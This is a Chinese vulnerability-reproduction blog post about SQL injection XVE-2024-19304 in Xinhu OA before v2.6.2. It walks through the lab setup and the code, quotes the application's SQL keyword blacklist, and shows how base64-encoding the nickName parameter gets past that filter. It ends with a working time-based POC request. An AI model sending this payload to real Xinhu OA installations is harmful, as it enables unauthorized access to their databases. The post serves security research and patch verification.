信呼OA nickName SQL注入漏洞复现(XVE-2024-19304)

信呼OA nickName SQL注入漏洞复现(XVE-2024-19304)

信呼OA nickName SQL注入漏洞复现(XVE-2024-19304)

产品介绍

信呼OA系统是一款功能丰富、灵活易用的协同办公系统,适合中小型企业使用。其免费开源的特性使得用户可以根据自己的需求进行二次开发和定制化改造,从而更好地满足企业的管理需求。同时,系统的跨平台支持和数据自管功能也确保了用户的使用体验和数据安全。

影响版本

v2.6.2之前,最新版已经停用该方法了

环境搭建

搭建环境:phpstudy、php5.6.9、信呼oa v2.6.2

进入navicat新建一个数据库,将\\webmain\\install下的.sql文件导入数据库中

img

将源码拉入到phpstudy的WWW目录下,配置phpstudy

img

访问该地址localhost:82,进入安装页面,点击知道了

img

之后进入本地配置,输入自己的数据库密码、获取信呼官网key(需要登录)之后,点击直接提交

img

img

之后就得到默认的账号密码

img

进入到首页登录,输入账号、密码

img

img

漏洞分析

来到index.php分析代码

image-20240819103825377

$rock对象中获取rewriteurl参数的值,并赋给$_uurl变量。

如果$_uurl不为空,则进行以下操作:

  • 清除$_GET数组中的mda参数。
  • $m设置为$_uurl的值。
  • 使用_分割$_uurl,根据分割结果设置$d$m$a
  • 解析$_SERVER['REQUEST_URI']中的查询字符串,并将参数添加到$_GET数组中

如果$_uurl为空,则从$rock对象中获取mda参数的值。

分析代码

所以,如果没有进行登陆,我们需要给m、d、a三个参数分别传入相对应的值。在POC中使用get传参

?m=openmodhetong|openapi&d=task&a=data

/webmain/task/openapi/openmodhetongAction.php

image-20240820140654675

通过跟进到这里我们会发现a后面的参数是对应方法的名字

nickName对应的方法是dataAction,所以poc里面a的参数的值为data

image-20240820142106300

从这个地方也能看出来,

image-20240820142144822

m的值是调用openapi,在源码目录下找到这个地方

image-20240820142617716

d的值是一个固定的值为task

image-20240820142305048

然后进入到task/openapi/openmodhetongAction.php的dataAction方法中

img

该方法是通过get方法依次获取请求中的moblie、xcytype、nickname等参数,并将这些参数赋值给uarr数组中,

之后根据row($where)的返回值不同给$uarr['adddt']$uarr['optdt']赋值,最后调用record方法进行数据库查询

我们进入到get方法中查看是否有什么过滤、点击ctrl进入到get方法声明中

img

接着进入到rockClass.php

img

这个方法只是判断是否进行get传参如果传参成功就进行赋值操作,

之后进行非空判断,调用jmucade方法()将其值返回。该方法中并没有对sql语句进行过滤

我们回到这个类的头部发现,重新定义了\_\_construct()魔术方法

img

当我们创建一个rockClass对象时,会自动调用这个魔术方法。这个魔术方法会过滤大部分sql注入一些敏感字符,如果想要造成sql注入就必须在字符串中不出现这些敏感字符

'select ,

alter table,delete ,drop ,update ,insert into,load\_file,/\*,\*/,union,<script,</script,sleep(,outfile,eval(,user(,phpinfo(),select\*,union%20,sleep%20,select%20,delete%20,drop%20,and%20');

$this->lvlaraa  = explode(',','select,alter,delete,drop,update,/\*,\*/,insert,from,time\_so\_sec,convert,from\_unixtime,unix\_timestamp,curtime,time\_format,union,concat,information\_schema,group\_concat,length,load\_file,outfile,database,system\_user,current\_user,user(),found\_rows,declare,master,exec,(),select\*from,select\*');

返回到openmodhetongAction.php中

img

发现这个nickName参数经过get传参后会进行dase64ecode方法进行base64解密,

那么如果我们将nickNname传入恶意的sql语句进行base64编码,就会绕过rockClass.php中的\_\_construct方法中的sql语句的过滤,

之后进行base64解密又拼接到sql语句造成sql注入的形成

POC

GET /index.php?m=openmodhetong|openapi&d=task&a=data&ajaxbool=0&nickName=MScgYW5kIHNsZWVwKDUpIw== HTTP/1.1

Host: 

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0

Accept-Encoding: gzip, deflate

Accept: \*/\*

Connection: keep-alive

漏洞复现

image-20240820141544621

  • 发表于 2024-08-30 09:00:00
  • 阅读 ( 9328 )
  • 分类:OA产品

0 条评论

请先 登录 后评论
xhys
xhys

12 篇文章

站长统计